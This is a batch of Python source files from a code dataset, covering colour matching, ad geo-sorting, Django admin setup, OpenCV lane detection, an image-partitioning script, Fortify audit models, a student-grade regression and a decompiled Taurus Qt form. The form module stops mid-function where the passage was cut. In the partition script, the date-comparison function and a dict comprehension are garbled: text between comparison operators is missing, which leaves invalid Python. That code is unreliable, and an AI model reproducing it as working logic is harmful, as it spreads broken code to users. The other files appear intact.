+{"seq_id":"473431271","text":"###########################\n# findClosestColor.py\n###########################\n\nimport math\n\n#\n# finds the closet color to a pixel from a list of colors\n#\n# returns: the index where the closest color is in list\n#\n# arrayColors: the array holding the average colors from imgs in order\n# pixelColor: the pixel from OG image that program is finding img for\n#\ndef findClosestColor(arrayColors, pixelColor):\n\n # variables used to find min difference and it's index\n minDif = 100000\n minDifIndex = -1\n\n # go through each color in arrayColors and see if it's closer to pixelColor\n # than a pixel before it\n for colorInd in range(len(arrayColors)):\n\n # get the difference in red, green, and blue of 2 pixels\n difRed = abs(arrayColors[colorInd][0] - pixelColor[0])\n difGreen = abs(arrayColors[colorInd][1] - pixelColor[1])\n difBlue = abs(arrayColors[colorInd][2] - pixelColor[2])\n\n # get the \"length\" of the difference vector\n num = difRed ** 2 + difGreen ** 2 + difBlue ** 2\n num = math.sqrt(num)\n\n # update variables if current pixel is smaller\n if num < minDif:\n minDif = num\n minDifIndex = colorInd\n\n return minDifIndex\n","sub_path":"findClosestColor.py","file_name":"findClosestColor.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"560870878","text":"from kdtree import KDTree\nfrom sqlalchemy.sql.expression import and_\n\nclass GPSPosition:\n \"\"\"\n Represents a GPS coordinate\n \"\"\"\n \n def __init__(self, longtitude, latitude):\n self.longitude = float(longtitude)\n self.latitude = float(latitude)\n\ndef get_ads_email_filtered(email, longitude, latitude, total):\n from db import Ad\n ads = Ad.query.filter(Ad.contact_email == email).all()\n locations = []\n for ad in ads:\n locations += [ad.location]\n \n return location_sort((longitude, latitude), locations, total)\n\ndef get_ads_cat_filtered(cat_name, longitude, latitude, total):\n from db import Ad, Category\n cat_id = Category.match(cat_name).id\n ads = Ad.query.filter(Ad.category_id == cat_id).all()\n locations = []\n for ad in ads:\n locations += [ad.location]\n return location_sort((longitude, latitude), locations, total)\n\ndef get_ads(longitude, latitude, total):\n \"\"\"\n talks to the db, returns a list of _total_ ads that are near, sorted by proximity. \n \"\"\"\n from db import Location, Ad\n from util import exp\n \n locations = []\n exp_gen = exp()\n exp_no = exp_gen.next()\n \n while len(locations) < int(total) and exp_no < 360000000:\n #location filtered query\n location_conditions = and_(\n Location.latitude <= latitude + exp_no,\n Location.latitude >= latitude - exp_no,\n Location.longitude <= longitude + exp_no,\n Location.longitude >= longitude - exp_no,\n )\n locations = Location.query.filter(location_conditions).all()\n exp_no = exp_gen.next() \n \n return location_sort((longitude, latitude), locations, total)\n\ndef location_sort(point, locations, total):\n \"\"\"\n Given a point, and a list of Location objects, returns a list of Location, capped with a length of _total_, sorted by proximity.\n \"\"\"\n sorted_locations = []\n location_map = {}\n location_data = []\n for l in locations:\n k = (l.longitude, l.latitude)\n if not location_map.has_key(k):\n location_data += [k] \n location_map[k] = [l]\n else: location_map[k] += [l]\n \n location_data_sorted = proximity_filter(point, location_data, total)\n \n for k in location_data_sorted:\n while len(location_map[k]) > 0:\n sorted_locations += [location_map[k][0]]\n del location_map[k][0]\n \n return sorted_locations\n\ndef proximity_filter(point, data, total):\n \"\"\"\n given a point, and a data set of points, we return a list of points, capped with a length of _total_, sorted in proximity.\n \"\"\"\n tree = KDTree.construct_from_data(data)\n return tree.query(query_point=point, t=total)","sub_path":"src/util/geo.py","file_name":"geo.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"170670153","text":"from django.contrib import admin\n#from django.contrib.auth.models import Group\nfrom .models import Sensors\n\n\nclass SnippetAdmin(admin.ModelAdmin):\n list_display = ('topic', 'value', 'pub_date')\n list_filter = ('topic', 'pub_date')\n\n\nadmin.site.register(Sensors, SnippetAdmin)\n# admin.site.unregister(Group)\nadmin.site.site_header = 'iot sensor dashboard'\nadmin.site.index_title = 'sam mirkazemi'\nadmin.site.site_title = 'salam :))'\n\nadmin.site.disable_action('delete_selected')\n","sub_path":"dashboard/mqtt/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"592492610","text":"import cv2\nimport numpy as np\n\ndef canyEdgeDetector(image):\n return cv2.Canny(image, 50, 150)\n\n\ndef getROI(image):\n height = image.shape[0]\n width = image.shape[1]\n # Defining Triangular ROI: The values will change as per your camera mounts\n triangle = np.array([[(100, height), (width, height), (width-500, int(height/1.9))]])\n # creating black image same as that of input image\n black_image = np.zeros_like(image)\n # Put the Triangular shape on top of our Black image to create a mask\n mask = cv2.fillPoly(black_image, triangle, 255)\n return cv2.bitwise_and(image, mask)\n\n\n\ndef getLines(image):\n return cv2.HoughLinesP(\n image,\n 0.3,\n np.pi / 180,\n 100,\n np.array([]),\n minLineLength=70,\n maxLineGap=20,\n )\n\n\n#display lines over a image\ndef displayLines(image, lines):\n if lines is not None:\n for line in lines:\n # print(line) --output like [[704 418 927 641]] this is 2d array representing [[x1,y1,x2,y2]] for each line\n x1, y1, x2, y2 = line.reshape(4) # converting to 1d array []\n\n # draw line over black image --(255,0,0) tells we want to draw blue line (b,g,r) values 10 is line thickness\n cv2.line(image, (x1, y1), (x2, y2), (255, 0, 0), 10)\n return image\n\n\n\ndef getLineCoordinatesFromParameters(image, line_parameters):\n slope = line_parameters[0]\n intercept = line_parameters[1]\n y1 = image.shape[0] # since line will always start from bottom of image\n y2 = int(y1 * (3.4 / 5)) # some random point at 3/5\n x1 = int((y1 - intercept) / slope)\n x2 = int((y2 - intercept) / slope)\n return np.array([x1, y1, x2, y2])\n\n\n\n#Avergaes all the left and right lines found for a lane and retuns single left and right line for the the lane\ndef getSmoothLines(image, lines):\n left_fit = [] # will hold m,c parameters for left side lines\n right_fit = [] # will hold m,c parameters for right side lines\n\n for line in lines:\n x1, y1, x2, y2 = line.reshape(4)\n # polyfit gives slope(m) and intercept(c) values from input points\n # last parameter 1 is for linear..so it will give linear parameters m,c\n parameters = np.polyfit((x1, x2), (y1, y2), 1)\n slope = parameters[0]\n intercept = parameters[1]\n\n if slope < 0:\n left_fit.append((slope, intercept))\n else:\n right_fit.append((slope, intercept))\n\n # take averages of all intercepts and slopes separately and get 1 single value for slope,intercept\n # axis=0 means vertically...see its always (row,column)...so row is always 0 position.\n # so axis 0 means over row(vertically)\n left_fit_average = np.average(left_fit, axis=0)\n right_fit_average = np.average(right_fit, axis=0)\n\n # now we have got m,c parameters for left and right line, we need to know x1,y1 x2,y2 parameters\n left_line = getLineCoordinatesFromParameters(image, left_fit_average)\n right_line = getLineCoordinatesFromParameters(image, right_fit_average)\n return np.array([left_line, right_line])\n\n\n\n\n\n\nimage = cv2.imread(\"3.jpg\") #Load Image\n\nedged_image = canyEdgeDetector(image) # Step 1\nroi_image = getROI(edged_image) # Step 2\n\nlines = getLines(roi_image) # Step 3\n#image_with_lines = displayLines(image, lines)\n\nsmooth_lines = getSmoothLines(image, lines) # Step 5\nimage_with_smooth_lines = displayLines(image, smooth_lines) # Step 4\n\ncv2.imshow(\"Output\", image_with_smooth_lines)\ncv2.waitKey(0)","sub_path":"lane-detection-self-driving/laneDetector_images.py","file_name":"laneDetector_images.py","file_ext":"py","file_size_in_byte":3513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"515821840","text":"#%%\nimport numpy as np\nfrom numpy.lib.twodim_base import triu_indices_from\nimport pandas as pd\nimport os\nimport pickle\nimport re\nfrom sklearn.utils import validation\nfrom tqdm import tqdm\nimport ast\nfrom sklearn.model_selection import train_test_split\n\nimport random\n#%%\n# load metadata\nmetadata = pd.read_excel(r\"C://Users//Jean-Baptiste//OneDrive//ENSAE//2A//CHU//Prediction_soustype//data//Recueil patients Blastes LAB annoté.xlsx\")\ndata_patient = pd.read_csv(r\"C://Users//Jean-Baptiste//OneDrive//ENSAE//2A//CHU//Prediction_soustype//data//data_patient.csv\")\n#%%\n# load list of patients with folders that can be used (between diagnostic and remission) & list of images\nim_path = r\"C:/Users/Jean-Baptiste/OneDrive/ENSAE/2A/CHU/Prediction_soustype/data\"\nim_test_path = r\"C:/Users/Jean-Baptiste/OneDrive/ENSAE/2A/CHU/Prediction_soustype/data_test\"\n\ndef num_pat(x):\n a=str(x)\n while len(a)<4:\n a = '0'+a\n return(a)\ndef date_sup(date_1, date_2):\n #dit si date1 est post à date2\n if date_1[-2:]>date_2[-2:]:\n return(True)\n if date_1[-2:]date_2[2:-2]:\n return(True)\n if date_1[2:-2]date_2[:2]:\n return(True)\n if date_1[:2]0}\n#%%\n\nfor k,v in images_metadata.items():\n if v['PATIENT_TYPE'] == 'LAL B2':\n new_image = v['IMAGES'][:len(v['IMAGES'])//2]\n v['IMAGES'] = new_image\n\n#%%\n#dict with all images name path and type\n# grouped_images_metadata = {curgroup:[v for k,v in images_metadata.items() if v['PATIENT_TYPE']==curgroup] for curgroup in ('LAL B1','LAL B2','LAL B3')}\ngrouped_images_metadata = {}\nfor curgroup in ('LAL B1','LAL B2','LAL B3'):\n grouped_images_metadata_curgroup = []\n for k,el in images_metadata.items():\n if el['PATIENT_TYPE'] == curgroup:\n for path_image in list(el['IMAGES']):\n name_image = os.path.basename(path_image)\n grouped_images_metadata_curgroup.append([name_image,path_image, curgroup])\n grouped_images_metadata[curgroup] = grouped_images_metadata_curgroup\n#%%\np=0\nfor k,v in images_metadata.items():\n if v['PATIENT_TYPE'] == 'LAL B2':\n p+=len(v['IMAGES'])\nprint(p)\n#%%\npart_rng = np.random.RandomState(seed=45)\n\n# part each group\nfor curgroup in ('LAL B1','LAL B2','LAL B3'):\n samples_is = np.arange(len(grouped_images_metadata[curgroup]))\n train_part = part_rng.choice(a = samples_is, size = len(samples_is)//2, replace = False)\n valid_part = part_rng.choice(a = np.setdiff1d(samples_is, train_part), size = (len(samples_is)-train_part.shape[0])//2, replace = False)\n test_part = np.setdiff1d(np.setdiff1d(samples_is, train_part), valid_part)\n for i in train_part:\n grouped_images_metadata[curgroup][i].append('train')\n for i in valid_part:\n grouped_images_metadata[curgroup][i].append('valid')\n for i in test_part:\n grouped_images_metadata[curgroup][i].append('test')\n\n\n\n\n#%%\np=0\nfor k,v in grouped_images_metadata.items():\n for el in v:\n if el[2]== 'LAL B2':\n p+=1\nprint(p)\n#%%\n#number of images per LAL type\n# LAL B1 : 0\n# LAL B2 : 12124\n# LAL B3 : 1204\n\n\n#%%\n# merge back\nall_metadata = [data for curgroup,elem in grouped_images_metadata.items() for data in elem ]\n\n# debug_df = pd.DataFrame(all_metadata)\n# debug_df.groupby(['GROUP','PART']).sum()\n#%%\n\n# debug_df.groupby(['NAME','PART']).sum()\n\n# create output\n\n\nmeta = dict(train=[],valid=[],test=[])\n\nfor metadata in all_metadata:\n tmp_sublist = [dict(FILE=metadata[0],PATH=metadata[1],GROUP=metadata[2])]\n meta[metadata[3]].extend(tmp_sublist)\n#%%\n\nfor curpart in ('train','valid','test'):\n with open(os.path.join(im_path,\"part_{}.pkl\".format(curpart)), 'wb') as file_pi:\n pickle.dump(meta[curpart], file_pi)\n \nfrom PIL import Image\n \n# get max size of image\nmax_w=0\nmax_h=0\nfor curpart in ('train','valid','test'):\n for meta_elem in tqdm(meta[curpart]):\n cur_w,cur_h=Image.open(os.path.join(im_path,meta_elem['PATH'])).size\n max_w=max(max_w,cur_w)\n max_h=max(max_h,cur_h)\nprint('Max dimensions are: {} x {}'.format(max_w,max_h)) # 263 x 299 # let's choose 320 (10*2^5)\n\n\n# %%\n#debug\nfor k in ('train', 'test', 'valid'):\n for j in ('LAL B1','LAL B2','LAL B3'):\n a=0\n for el in meta[k]:\n if el['GROUP']==j:\n a+=1\n print(j,k,a)\n \n# LAL B1 train 0\n# LAL B2 train 3027\n# LAL B3 train 300\n# LAL B1 test 0\n# LAL B2 test 1514\n# LAL B3 test 151\n# LAL B1 valid 0\n# LAL B2 valid 1514\n# LAL B3 valid 150\n","sub_path":"py/partition.py","file_name":"partition.py","file_ext":"py","file_size_in_byte":5303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"276632770","text":"from enum import Enum\n\n\nclass AuditAction(Enum):\n \"\"\"\n This Enum class represents Audit Action type.\n \"\"\"\n CANCEL = \"Cancel\"\n START = \"Start\"\n SUBMIT = \"Submit\"\n\n\nclass GetAuditOptionsResponse(object):\n\n def __init__(self,\n release_id=None,\n audit_processing=None,\n can_audit=None,\n can_challenge=None,\n can_edit=None,\n in_audit_mode=None,\n ):\n\n self.release_id = release_id\n self.audit_processing = audit_processing\n self.can_audit = can_audit\n self.can_challenge = can_challenge\n self.can_edit = can_edit\n self.in_audit_mode = in_audit_mode\n\n def to_dict(self):\n return dict(releaseId=self.release_id,\n auditProcessing=self.audit_processing,\n canAudit=self.can_audit,\n canChallenge=self.can_challenge,\n canEdit=self.can_edit,\n inAuditMode=self.in_audit_mode,\n )\n\n @classmethod\n def from_dict(cls, dct):\n return cls(release_id=dct.get(\"releaseId\"),\n audit_processing=dct.get(\"auditProcessing\"),\n can_audit=dct.get(\"canAudit\"),\n can_challenge=dct.get(\"canChallenge\"),\n can_edit=dct.get(\"canEdit\"),\n in_audit_mode=dct.get(\"inAuditMode\"),\n )\n\n\nclass PostAuditActionRequest(object):\n\n def __init__(self, audit_action=None):\n self.audit_action = audit_action\n\n def to_dict(self):\n return dict(auditAction=self.audit_action.value)\n\n @classmethod\n def from_dict(cls, dct):\n return cls(audit_action=AuditAction(dct.get(\"auditAction\")) if dct.get(\"auditAction\") else None) # noqa\n","sub_path":"hpfortify/model/audit.py","file_name":"audit.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"294471502","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 5 01:59:34 2019\n\n@author: jones\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n'Importing the datasets'\ndf1 = pd.read_csv('student-mat.csv')\ndf2 = pd.read_csv('student-por.csv')\ndf3 = pd.concat([df1, df2])\ndf3.head()\n\n\n'Data preprocessing and Exploratory analysis'\ndf3.drop_duplicates([\"school\",\"sex\",\"age\",\"address\",\"famsize\",\"Pstatus\",\"Medu\",\n \"Fedu\",\"Mjob\",\"Fjob\",\"reason\",\"nursery\",\"internet\"])\ndf3.columns\ndf3.describe()\n\ndf3.corr()\n\ndf3.info()\n\n'Drop the columns which is not essentials for grade prediction'\ndf3 = df3.drop(['famsize', 'Pstatus', 'Fjob', 'Mjob'], axis=1)\ndf3 = df3.drop(['reason','traveltime', 'studytime', 'failures'], axis=1)\ndf3 = df3.drop(['schoolsup','famsup', 'paid', 'nursery', 'internet', 'freetime'], axis=1)\ndf3 = df3.drop(['higher', 'health'], axis=1)\ndf3.columns\n\n'Visualizing the plots of the data according to the gender'\nplt.pie(df3['sex'].value_counts().to_list(), \n labels=['Female','Male'], colors=['crimson', 'slateblue'],\n autopct='%1.1f%%', startangle=90)\naxis = plt.axis('equal')\n\n'Visualizing the plots of the data according to the guardians nominal'\nplt.pie(df3['guardian'].value_counts().to_list(),\n labels=['mother', 'father', 'other'],\n colors=['darkslateblue', 'mediumorchid', 'steelblue'],\n autopct='%.2f', startangle=90)\nplt.axis('equal')\n\n\n'Given the high correlation between different grades, drop G1 & G2'\ndf3 = df3.drop(['G1', 'G2'], axis=1)\n\n'combine weekdays alcohol consumption with weekend alcohol consumption'\ndf3['Dalc'] = df3['Dalc'] + df3['Walc']\n\n'combine mothers education with fathers education & call it parents education'\ndf3['Pedu'] = df3['Medu'] + df3['Fedu']\n\n'combine goout and absences'\ndf3['goout'] = df3['goout'] + df3['absences']\ndf3 = df3.drop(['Walc','Medu','Fedu','absences'], axis=1)\ndf3.columns\n\n'Getting dummies'\ndf3 = pd.get_dummies(df3, drop_first=True)\ndf3.info()\n\n\n'define target variable and training and test sets'\nX = df3.drop(\"G3\",axis=1)\nY = df3[\"G3\"]\n\n\n'Splitting the dataset into the Training set and Test set'\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size = 0.2, random_state = 0)\n\n\n'Fitting Multiple Linear Regression to the Training set'\nfrom sklearn.linear_model import LinearRegression\nregressor = LinearRegression()\nregressor.fit(X_train, y_train)\n\n' Predicting the Test set results'\ny_pred = regressor.predict(X_test)\n\n'Building Optimal Model using Backward Elimination'\nimport statsmodels.formula.api as sm\nX_opt = X\nregressor_OLS = sm.OLS(endog =Y, exog = X_opt).fit()\nregressor_OLS.summary()\n\n'''\nBackward Eliminiation Process\nDrop the variable which is not significant(p>0.05)\n'''\nX_opt = X.drop(['goout','activities_yes', 'address_U', 'school_MS', 'sex_M', 'guardian_mother'], axis=1)\nregressor_OLS = sm.OLS(endog =Y, exog = X_opt).fit()\nregressor_OLS.summary()\n\n\n","sub_path":"analysis/student_alcohol_consumption.py","file_name":"student_alcohol_consumption.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"330907040","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/taurus/qt/qtgui/panel/taurusform.py\n# Compiled at: 2019-08-19 15:09:30\n\"\"\"This module contains taurus Qt form widgets\"\"\"\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nimport click\nfrom datetime import datetime\nfrom functools import partial\nfrom future.utils import string_types, binary_type\nfrom taurus.external.qt import Qt\nimport taurus.core\nfrom taurus.core import TaurusDevState, DisplayLevel\nfrom taurus.qt.qtcore.mimetypes import TAURUS_ATTR_MIME_TYPE, TAURUS_DEV_MIME_TYPE, TAURUS_MODEL_LIST_MIME_TYPE, TAURUS_MODEL_MIME_TYPE\nfrom taurus.qt.qtgui.container import TaurusWidget, TaurusScrollArea\nfrom taurus.qt.qtgui.button import QButtonBox, TaurusCommandButton\nfrom .taurusmodelchooser import TaurusModelChooser\n__all__ = [\n 'TaurusAttrForm', 'TaurusCommandsForm', 'TaurusForm']\n__docformat__ = 'restructuredtext'\n\ndef _normalize_model_name_case(modelname):\n \"\"\"\n Accepts a model name and returns it in lower case if the models is\n case insensitive. Otherwise it returns the same model name\n \"\"\"\n if taurus.Factory(taurus.getSchemeFromName(modelname)).caseSensitive:\n return modelname\n else:\n return modelname.lower()\n\n\nclass ParameterCB(Qt.QComboBox):\n \"\"\"A custom combobox\"\"\"\n\n def __init__(self, parent=None):\n Qt.QComboBox.__init__(self, parent)\n self.setEditable(True)\n\n def rememberCurrentText(self):\n \"\"\"Adds the current text to the combobox items list (unless it is already there)\"\"\"\n text = self.currentText()\n if self.findText(text) < 0:\n self.addItem(text)\n\n\nclass TaurusForm(TaurusWidget):\n \"\"\"A form containing specific widgets for interacting with\n a given list of taurus attributes and/or devices.\n\n Its model is a list of attribute and/or device names to be shown. Each item\n is represented in a row consisting of a label, a read widget, a write\n widget, a units widget and an \"extra\" widget (some of them may not be shown)\n which are vertically aligned with their counterparts from other items.\n\n By default a :class:`TaurusValue` object is used for each item, but this\n can be changed and specific mappings can be defined using the\n :meth:`setCustomWidgetMap` method.\n\n Item objects can be accessed by index using a list-like notation::\n\n form = TaurusForm()\n form.model = ['sys/tg_test/1'+a for a in ('short_image','/float_scalar','/double_scalar')]\n form[0].labelConfig = 'dev_alias'\n form[-1].writeWidgetClass = 'TaurusWheelEdit'\n print(len(form)) # --> outputs '3' (the length of the form is the number of items)\n\n By default, the form provides global Apply and Cancel buttons.\n\n You can also see some code that exemplifies the use of TaurusForm in :ref:`Taurus\n coding examples ` \"\"\"\n\n def __init__(self, parent=None, formWidget=None, buttons=None, withButtons=True, designMode=False):\n self._children = []\n TaurusWidget.__init__(self, parent, designMode)\n if buttons is None:\n buttons = Qt.QDialogButtonBox.Apply | Qt.QDialogButtonBox.Reset\n self._customWidgetMap = {}\n self._model = []\n self.setFormWidget(formWidget)\n self.setLayout(Qt.QVBoxLayout())\n frame = TaurusWidget()\n frame.setLayout(Qt.QGridLayout())\n self.scrollArea = TaurusScrollArea(self)\n self.scrollArea.setWidget(frame)\n self.scrollArea.setWidgetResizable(True)\n self.layout().addWidget(self.scrollArea)\n self.__modelChooserDlg = None\n self.buttonBox = QButtonBox(buttons=buttons, parent=self)\n self.layout().addWidget(self.buttonBox)\n self._connectButtons()\n self.setContextMenuPolicy(Qt.Qt.ActionsContextMenu)\n self.chooseModelsAction = Qt.QAction('Modify Contents', self)\n self.addAction(self.chooseModelsAction)\n self.chooseModelsAction.triggered.connect(self.chooseModels)\n self.showButtonsAction = Qt.QAction('Show Buttons', self)\n self.showButtonsAction.setCheckable(True)\n self.addAction(self.showButtonsAction)\n self.showButtonsAction.triggered[bool].connect(self.setWithButtons)\n self.setWithButtons(withButtons)\n self.changeLabelsAction = Qt.QAction('Change labels (all items)', self)\n self.addAction(self.changeLabelsAction)\n self.changeLabelsAction.triggered.connect(self.onChangeLabelsAction)\n self.compactModeAction = Qt.QAction('Compact mode (all items)', self)\n self.compactModeAction.setCheckable(True)\n self.addAction(self.compactModeAction)\n self.compactModeAction.triggered[bool].connect(self.setCompact)\n self.setFormatterAction = Qt.QAction('Set formatter (all items)', self)\n self.addAction(self.setFormatterAction)\n self.setFormatterAction.triggered.connect(self.onSetFormatter)\n self.resetModifiableByUser()\n self.setSupportedMimeTypes([TAURUS_MODEL_LIST_MIME_TYPE, TAURUS_DEV_MIME_TYPE,\n TAURUS_ATTR_MIME_TYPE, TAURUS_MODEL_MIME_TYPE, 'text/plain'])\n self.resetCompact()\n self.registerConfigProperty(self.isWithButtons, self.setWithButtons, 'withButtons')\n self.registerConfigProperty(self.isCompact, self.setCompact, 'compact')\n return\n\n def __getitem__(self, key):\n \"\"\"provides a list-like interface: items of the form can be accessed using slice notation\"\"\"\n return self.getItemByIndex(key)\n\n def __len__(self):\n \"\"\"returns the number of items contained by the form\"\"\"\n return len(self.getItems())\n\n def _splitModel(self, modelNames):\n \"\"\"convert str to list if needed (commas and whitespace are considered as separators)\"\"\"\n if isinstance(modelNames, binary_type):\n modelNames = modelNames.decode()\n if isinstance(modelNames, string_types):\n modelNames = str(modelNames).replace(',', ' ')\n modelNames = modelNames.split()\n return modelNames\n\n def setCustomWidgetMap(self, cwmap):\n \"\"\"Sets a map map for custom widgets.\n\n :param cwmap: (dict) a dictionary whose keys are device\n type strings (i.e. see :class:`PyTango.DeviceInfo`) and\n whose values are tuples of classname,args,kwargs\n \"\"\"\n self._customWidgetMap = cwmap\n\n def getCustomWidgetMap(self):\n \"\"\"Returns the map used to create custom widgets.\n\n :return: (dict) a dictionary whose keys are device\n type strings (i.e. see :class:`PyTango.DeviceInfo`) and whose\n values are tuples of classname,args,kwargs\n \"\"\"\n return self._customWidgetMap\n\n @Qt.pyqtSlot('QString', name='modelChanged')\n def parentModelChanged(self, parentmodel_name):\n self.info(\"Parent model changed to '%s'\" % parentmodel_name)\n parentmodel_name = str(parentmodel_name)\n if self.getUseParentModel():\n for obj, model in zip(self.getItems(), self.getModel()):\n obj.setModel('%s/%s' % (parentmodel_name, str(model)))\n\n else:\n self.debug('received event from parent although not using parent model')\n\n def chooseModels(self):\n \"\"\"launches a model chooser dialog to modify the contents of the form\"\"\"\n if self.__modelChooserDlg is None:\n self.__modelChooserDlg = Qt.QDialog(self)\n self.__modelChooserDlg.setWindowTitle('%s - Model Chooser' % str(self.windowTitle()))\n self.__modelChooserDlg.modelChooser = TaurusModelChooser()\n layout = Qt.QVBoxLayout()\n layout.addWidget(self.__modelChooserDlg.modelChooser)\n self.__modelChooserDlg.setLayout(layout)\n self.__modelChooserDlg.modelChooser.updateModels.connect(self.setModel)\n models_and_labels = []\n indexdict = {}\n for m in self.getModel():\n key = _normalize_model_name_case(m)\n indexdict[key] = indexdict.get(key, -1) + 1\n item = self.getItemByModel(m, indexdict[key])\n if item is None:\n label = None\n else:\n try:\n label = str(item.labelWidget().text())\n except:\n label = None\n\n models_and_labels.append((m, label))\n\n self.__modelChooserDlg.modelChooser.setListedModels(models_and_labels)\n self.__modelChooserDlg.show()\n self.__modelChooserDlg.raise_()\n return\n\n def chooseAttrs(self):\n self.info('TaurusForm.chooseAttrs() ahs been deprecated. Use TaurusForm.chooseModels() instead')\n self.chooseModels()\n\n def sizeHint(self):\n return Qt.QWidget.sizeHint(self)\n\n def _connectButtons(self):\n self.buttonBox.applyClicked.connect(self.apply)\n self.buttonBox.resetClicked.connect(self.reset)\n\n def getModel(self):\n return self._model\n\n @Qt.pyqtSlot('QStringList')\n def addModels(self, modelNames):\n \"\"\"Adds models to the existing ones:\n\n :param modelNames: (sequence) the names of the models to be added\n\n .. seealso:: :meth:`removeModels`\n \"\"\"\n modelNames = self._splitModel(modelNames)\n self.setModel(self.getModel() + modelNames)\n\n @Qt.pyqtSlot('QStringList')\n def removeModels(self, modelNames):\n \"\"\"Removes models from those already in the form.\n\n :param modelNames: (sequence) the names of the models to be removed\n\n .. seealso:: :meth:`addModels`\n \"\"\"\n modelNames = self._splitModel(modelNames)\n currentModels = self.getModel()\n for name in modelNames:\n try:\n currentModels.remove(name)\n except:\n self.warning(\"'%s' not in model list\" % name)\n\n self.setModel(currentModels)\n\n def setModelCheck(self, model, check=True):\n if model is None:\n model = []\n model = [ str(m or '') for m in self._splitModel(model) ]\n self.destroyChildren()\n self._model = model\n self.fillWithChildren()\n if self.__modelChooserDlg is not None:\n self.__modelChooserDlg.modelChooser.setListedModels(self._model)\n return\n\n def resetModel(self):\n self.destroyChildren()\n self._model = []\n\n def getFormWidget(self, model=None):\n \"\"\"Returns a tuple that can be used for creating a widget for a given model.\n\n :param model: (str) a taurus model name for which the new item of the\n form will be created\n\n :return: (tuple) a tuple containing a class, a list of\n args and a dict of keyword args. The args and the keyword args\n can be passed to the class constructor\n \"\"\"\n if model is None:\n return (self._defaultFormWidget, (), {})\n else:\n try:\n obj = taurus.Attribute(model)\n return (self._defaultFormWidget, (), {})\n except:\n try:\n obj = taurus.Device(model)\n except:\n self.warning('Cannot handle model \"%s\". Using default widget.' % model)\n return (self._defaultFormWidget, (), {})\n\n try:\n key = obj.getDeviceProxy().info().dev_class\n except:\n return (\n self._defaultFormWidget, (), {})\n\n cwmap = self.getCustomWidgetMap()\n value = cwmap.get(key, self._defaultFormWidget)\n if isinstance(value, type):\n if issubclass(value, self._defaultFormWidget):\n return (value, (), {})\n else:\n return (\n self._defaultFormWidget, (), {'customWidgetMap': {key: value}})\n\n name, args, kwargs = value\n pkgname, klassname = name.rsplit('.', 1)\n try:\n pkg = __import__(pkgname, fromlist=[klassname])\n klass = getattr(pkg, klassname)\n except:\n self.warning('Cannot import \"%s\". Using default widget for \"%s\".' % (name, model))\n return (self._defaultFormWidget, (), {})\n\n if not issubclass(klass, self._defaultFormWidget):\n cwmap = kwargs.get('customWidgetMap', {})\n cwmap.update({key: klass})\n kwargs['customWidgetMap'] = cwmap\n klass = self._defaultFormWidget\n return (\n klass, args, kwargs)\n\n return\n\n def setFormWidget(self, formWidget):\n if formWidget is None:\n from taurus.qt.qtgui.panel import TaurusValue\n self._defaultFormWidget = TaurusValue\n elif issubclass(formWidget, Qt.QWidget):\n self._defaultFormWidget = formWidget\n else:\n raise TypeError('formWidget must be one of None, QWidget. %s passed' % repr(type(formWidget)))\n return\n\n def resetFormWidget(self):\n self.setFormWidget(self, None)\n return\n\n def isWithButtons(self):\n return self._withButtons\n\n def setWithButtons(self, trueFalse):\n self._withButtons = trueFalse\n self.buttonBox.setVisible(self._withButtons)\n self.showButtonsAction.setChecked(self._withButtons)\n\n def resetWithButtons(self):\n self.setWithButtons(True)\n\n def onSetFormatter(self):\n \"\"\"Reimplemented from TaurusBaseWidget\"\"\"\n format = TaurusWidget.onSetFormatter(self)\n if format is not None:\n for item in self.getItems():\n rw = item.readWidget(followCompact=True)\n if hasattr(rw, 'setFormat'):\n rw.setFormat(format)\n\n return format\n\n def setFormat(self, format):\n \"\"\"\n Reimplemented to call setFormat on the taurusvalues\n \"\"\"\n TaurusWidget.setFormat(self, format)\n for item in self.getItems():\n if hasattr(item, 'setFormat'):\n item.setFormat(format)\n\n def setCompact(self, compact):\n self._compact = compact\n for item in self.getItems():\n item.setCompact(compact)\n\n self.compactModeAction.setChecked(compact)\n\n def isCompact(self):\n return self._compact\n\n def resetCompact(self):\n from taurus import tauruscustomsettings\n self.setCompact(getattr(tauruscustomsettings, 'T_FORM_COMPACT', {}))\n\n def dropEvent(self, event):\n \"\"\"reimplemented to support dropping of modelnames in forms\"\"\"\n mtype = self.handleMimeData(event.mimeData(), self.addModels)\n if mtype is None:\n self.info('Invalid model in dropped data')\n else:\n event.acceptProposedAction()\n return\n\n def setModifiableByUser(self, modifiable):\n \"\"\"\n sets whether the user can change the contents of the form\n (e.g., via Modify Contents in the context menu)\n Reimplemented from :meth:`TaurusWidget.setModifiableByUser`\n\n :param modifiable: (bool)\n\n .. seealso:: :meth:`TaurusWidget.setModifiableByUser`\n \"\"\"\n TaurusWidget.setModifiableByUser(self, modifiable)\n self.chooseModelsAction.setEnabled(modifiable)\n self.showButtonsAction.setEnabled(modifiable)\n self.changeLabelsAction.setEnabled(modifiable)\n self.compactModeAction.setEnabled(modifiable)\n for item in self.getItems():\n try:\n item.setModifiableByUser(modifiable)\n except:\n pass\n\n def setRegExp(self, regExp):\n pass\n\n def getRegExp(self):\n pass\n\n def destroyChildren(self):\n for child in self._children:\n 